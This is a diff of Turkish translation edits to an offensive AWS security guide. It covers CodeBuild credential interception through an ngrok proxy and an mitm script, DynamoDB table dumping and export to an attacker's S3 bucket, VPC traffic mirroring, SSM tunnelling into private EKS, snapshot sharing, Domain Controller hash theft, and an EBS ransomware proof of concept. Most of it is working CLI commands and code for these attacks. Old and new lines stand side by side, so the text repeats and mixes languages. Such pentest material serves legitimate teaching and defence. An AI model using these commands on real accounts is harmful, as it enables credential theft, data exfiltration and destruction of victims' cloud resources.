**Codebuild** projeleri, yalnızca API'den değiştirilebilen, webde gizli bir ayar olan **`insecureSsl`** adlı bir ayara sahiptir.\
Bunu etkinleştirmek, Codebuild'in platform tarafından sunulan **sertifikayı kontrol etmeden** depoya bağlanmasına olanak tanır.
- Öncelikle mevcut yapılandırmayı şu şekilde listelemeniz gerekir:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu fark edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu unutmayın (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
- Ayrıca, tcp ngrok'unuza işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini de ekleyin:
```bash
aws codebuild update-project --name <proj-name> \
@@ -128,7 +128,7 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin** (base64) olarak mitm portuna **gönderilecektir**:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
@@ -136,7 +136,7 @@ mitm.run()
> [!TIP] > **Bu güvenlik açığı, AWS tarafından 2023 Şubat ayının 20'si haftasında bir noktada (sanırım Cuma günü) düzeltildi. Bu nedenle bir saldırgan bunu artık kötüye kullanamaz :)**
**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **kodu erişmek için kullanılan geçici OAuth token'ını** sızdırabilir.
**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **koda erişmek için kullanılan geçici OAuth token'ını** sızdırabilir.
- Bir saldırgan, kendi makinesine işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
@@ -144,8 +144,8 @@ mitm.run()
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Ardından, github reposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
- Son olarak, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın.
- Ardından, github repo'sunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,11 +158,11 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Sonra, **Projeyi oluştur** seçeneğine tıklayın veya komut satırından oluşturmayı başlatın:
- Sonra, **Projeyi oluştur** butonuna tıklayın veya komut satırından oluşturmayı başlatın:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Sonunda, **kimlik bilgileri** **ık metin** (base64) olarak mitm portuna **gönderilecektir**:
- Sonunda, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>

View File

@@ -6,7 +6,7 @@
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, Amazon DLM kullanılabilir, anlık görüntüleri başka bir AWS hesabından bir KMS anahtarı ile şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür.
Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, başka bir AWS hesabından bir KMS anahtarı ile anlık görüntüleri şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak Amazon DLM kullanılabilir. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür.
Öncelikle, örnek ID'si, hacim ID'si, şifreleme durumu, ekleme durumu ve hacim türü gibi hacimlerle ilgili bilgileri toplamak için bir komut kullanılacaktır.
@@ -16,7 +16,7 @@ Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifrel
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
Bir politika belgesi için şablon burada görülebilir:
Politika belgesi için bir şablon burada görülebilir:
```bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",

View File

@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
Bu izinle birlikte **`transact-get-items`** yöntemini de şu şekilde kullanmak mümkündür:
Bu izinle **`transact-get-items`** yöntemini şu şekilde kullanmak da mümkündür:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -75,7 +75,7 @@ aws dynamodb transact-get-items \
}
]
```
**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:Query`
@@ -115,7 +115,7 @@ Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki artırma
**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:PartiQLSelect`
@@ -124,18 +124,18 @@ Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Bu izin, `batch-execute-statement` gibi işlemleri gerçekleştirmeye de olanak tanır:
Bu izin ayrıca `batch-execute-statement` gerçekleştirmeye de olanak tanır:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden o kadar faydalı değil.
ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden çok faydalı değil.
**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
Bu izin, bir saldırgana **tüm tabloyu kendi seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir:
Bu izin, bir saldırgana **tüm tabloyu seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Not edin ki bunun çalışması için tablonun zamanında geri yükleme (point-in-time-recovery) özelliğinin etkinleştirilmiş olması gerekir, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz:
Bu işlemin çalışması için tablonun point-in-time-recovery özelliğinin etkinleştirilmiş olması gerektiğini unutmayın, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
@@ -155,7 +155,7 @@ aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
@@ -166,7 +166,7 @@ aws dynamodb restore-table-from-backup \
--target-table-name <new-table-name> \
--region <region>
```
**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki artırımı
### `dynamodb:PutItem`
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**Olası Etki:** DynamoDB tablosunda veri ekleyip/şekillendirerek daha fazla güvenlik açığı/atlatma istismar etme
**Olası Etki:** DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla güvenlik açığı/atlatma istismar etme
### `dynamodb:UpdateItem`
Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Bu, **tüm öğeyi değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem **belirtilen birincil anahtara sahip yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar.
Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Tüm öğeyi **değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,7 +242,7 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Olası Etki:** Bir DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla zafiyet/atlatma istismar etme
**Olası Etki:** DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla zafiyet/atlatma istismar etme
### `dynamodb:DeleteTable`
@@ -262,7 +262,7 @@ aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Potansiyel etki**: Veri kaybı ve bir felaket kurtarma senaryosunda bir yedekten geri yükleme yapamama.
**Olası etki**: Veri kaybı ve bir felaket kurtarma senaryosunda yedekten geri yükleme yapamama.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
@@ -292,12 +292,12 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region <region>
```
4. Akıştan veri erişmek ve dışa aktarmak için shard iterator'ü kullanın:
4. Akıştan veri erişmek ve dışa aktarmak için shard iterator'ı kullanın:
```bash
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Potansiyel etki**: DynamoDB tablosundaki değişikliklerin gerçek zamanlı izlenmesi ve veri sızıntısı.
**Olası etki**: DynamoDB tablosundaki değişikliklerin gerçek zamanlı izlenmesi ve veri sızıntısı.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -13,7 +13,7 @@ Daha fazla bilgi için kontrol edin:
### **Kötü Amaçlı VPC Aynası -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC trafik aynalama **bir VPC içindeki EC2 örnekleri için gelen ve giden trafiği çoğaltır** ve bu işlemi örneklerin kendisine herhangi bir şey yüklemeye gerek kalmadan gerçekleştirir. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir ağ saldırı tespit sistemi (IDS) gibi bir yere gönderilir.\
Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir:
Bir saldırgan, bunu kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir:
Daha fazla bilgi için bu sayfayı kontrol edin:
@@ -83,9 +83,9 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
Bir EC2 örneği çalıştırmak ve bunu ECS örneklerini çalıştırmak için kaydetmek mümkündür ve ardından ECS örneklerinin verilerini çalmak mümkündür.
[**daha fazla bilgi için buraya bakın**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
### VPC akış günlüklerini kaldırın
### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
@@ -95,7 +95,7 @@ Gerekli izinler:
- `ssm:StartSession`
Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine izin verir. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır.
Komut yürütmenin yanı sıra, SSM, Security Groups veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine olanak tanır. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır.
> Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -104,9 +104,9 @@ Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) scripti ile Bastion EC2 AWS geçici kimlik bilgilerini alın
4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın
5. Bastion EC2 olarak EKS'e giriş yapın:
3. Bastion EC2 AWS geçici kimlik bilgilerini [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) scripti ile al
4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktar
5. Bastion EC2 olarak EKS'e giriş yap:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
@@ -119,9 +119,9 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
Not edin ki, SSL bağlantıları `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurursak, MitM saldırılarından korunmuş olursunuz.
Not edin ki SSL bağlantıları, `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurarak, herhangi bir MitM saldırısından güvendesiniz.
Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için rastgele alan adları ve portlar ayarlayabilirsiniz.
Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için keyfi alan adları ve portlar ayarlayabilirsiniz.
### AMI Paylaşımı
```bash
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
```
### Kamuya açık ve özel AMI'lerde hassas bilgileri arama
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak için tasarlanmış bir araçtır**. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs)** içinde hassas bilgileri aramak için tasarlanmış bir araçtır. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir.
### EBS Anlık Görüntüsünü Paylaşma
```bash
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
```
### EBS Ransomware PoC
S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır.
S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kavramsal kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır.
Öncelikle bir 'saldırgan' AWS hesabından, KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutar. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır.
Öncelikle bir 'saldırgan' AWS hesabından KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutacaktır. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır.
```
{
"Version": "2012-10-17",
@@ -231,7 +231,7 @@ S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer
]
}
```
Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekir:
Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekmektedir:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -239,7 +239,7 @@ Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmes
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Artık kullanılacak kamuya açık bir anahtar ile. Şifrelenmemiş EBS hacimleri eklenmiş bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir.
Artık kullanılacak kamuya açık anahtar ile. Şifrelenmemiş EBS hacimleri ekli olan bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabının EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
@@ -249,11 +249,11 @@ Bu, hesapta yalnızca şifrelenmiş EBS hacimlerinin kalmasıyla sonuçlanır.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Ayrıca, scriptin orijinal EBS hacimlerini ayırmak ve silmek için EC2 örneklerini durdurduğunu belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok.
Ayrıca, scriptin EC2 örneklerini durdurduğunu ve orijinal EBS hacimlerini ayırıp sildiğini belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dış Şifreleme' politika kuralını kaldırmaktır.
Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dışarıda Şifreleme' politika kuralını kaldırmaktır.
```json
{
"Version": "2012-10-17",
@@ -328,11 +328,11 @@ Biraz bekleyin, yeni ayarlanan anahtar politikasının yayılmasını bekleyin.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmaya çalıştığınızda, sadece başarısız olacak ve 'beklemede' durumundan 'durdu' durumuna sonsuza dek geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor.
Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmayı denediğinizde, sadece başarısız olacak ve 'pending' durumundan 'stopped' durumuna sonsuza kadar geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık bir AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ YALNIZCA BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim.
Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine ekli Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde işlem sırasında kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim.
```
import boto3
import argparse

View File

@@ -46,9 +46,9 @@ dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
```
Daha fazla bilgi için bu tekniği [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) adresindeki orijinal araştırmaya bakın.
Bu teknik hakkında daha fazla bilgi için orijinal araştırmaya bakın [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
Bunu Pacu ile [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) modülünü kullanarak yapabilirsiniz.
Bunu Pacu ile [ebs__download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) modülünü kullanarak yapabilirsiniz.
## AWS'de bir anlık görüntüyü kontrol etme
```bash
@@ -56,16 +56,16 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
```
**Kontrolünüz altındaki bir EC2 VM'ye bağlayın** (yedek kopyasıyla aynı bölgede olmalıdır):
Adım 1: EC2 > Volumes bölümüne giderek tercih ettiğiniz boyut ve türde yeni bir hacim oluşturulmalıdır.
Adım 1: Tercih ettiğiniz boyut ve türde yeni bir hacim oluşturmak için EC2 > Hacimler bölümüne gidin.
Bu işlemi gerçekleştirebilmek için şu komutları izleyin:
- EC2 örneğine eklemek için bir EBS hacmi oluşturun.
- EBS hacminin ve örneğin aynı bölgede olduğundan emin olun.
Adım 2: Oluşturulan hacme sağ tıklayarak "attach volume" seçeneği seçilmelidir.
Adım 2: Oluşturulan hacme sağ tıklayarak "hacmi ekle" seçeneğini seçin.
Adım 3: Örnek metin kutusundan örnek seçilmelidir.
Adım 3: Örnek metin kutusundan örneği seçin.
Bu işlemi gerçekleştirebilmek için aşağıdaki komutu kullanın:
@@ -77,7 +77,7 @@ Adım 5: Hacmin herhangi bir verisi olup olmadığını kontrol etmek için `sud
Yukarıdaki komutun çıktısı "/dev/xvdf: data" gösteriyorsa, hacim boştur.
Adım 6: Hacmi ext4 dosya sistemine formatlamak için `sudo mkfs -t ext4 /dev/xvdf` komutunu kullanın. Alternatif olarak, `sudo mkfs -t xfs /dev/xvdf` komutunu kullanarak xfs formatını da kullanabilirsiniz. Lütfen ya ext4 ya da xfs kullanmanız gerektiğini unutmayın.
Adım 6: Hacmi ext4 dosya sistemine formatlamak için `sudo mkfs -t ext4 /dev/xvdf` komutunu kullanın. Alternatif olarak, `sudo mkfs -t xfs /dev/xvdf` komutunu kullanarak xfs formatını da kullanabilirsiniz. Lütfen ext4 veya xfs'den birini kullanmanız gerektiğini unutmayın.
Adım 7: Yeni ext4 hacmini bağlamak için istediğiniz bir dizin oluşturun. Örneğin, "newvolume" adını kullanabilirsiniz.
@@ -89,7 +89,7 @@ Adım 9: "newvolume" dizinine geçin ve hacim bağlamasını doğrulamak için d
Bu işlemi gerçekleştirebilmek için şu komutları kullanın:
- Dizin değiştirin `/newvolume`.
- `/newvolume` dizinine geçin.
- Disk alanını kontrol etmek için `df -h .` komutunu kullanın. Bu komutun çıktısı "newvolume" dizinindeki boş alanı göstermelidir.
Bunu Pacu ile `ebs__explore_snapshots` modülünü kullanarak yapabilirsiniz.
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
Herhangi bir AWS kullanıcısı **`EC2:CreateSnapshot`** iznine sahipse, **Domain Controller'ın bir anlık görüntüsünü** oluşturarak ve bunu kontrol ettikleri bir örneğe monte ederek tüm alan kullanıcılarının hash'lerini çalabilir ve **NTDS.dit ve SYSTEM** kayıt hives dosyasını Impacket'in secretsdump projesi için kullanmak üzere dışa aktarabilir.
Herhangi bir AWS kullanıcısı **`EC2:CreateSnapshot`** iznine sahip olduğunda, **Domain Controller'ın bir anlık görüntüsünü** oluşturarak ve bunu kontrol ettikleri bir örneğe monte ederek tüm alan kullanıcılarının hash'lerini çalabilir ve **NTDS.dit ve SYSTEM** kayıt hives dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktarabilir.
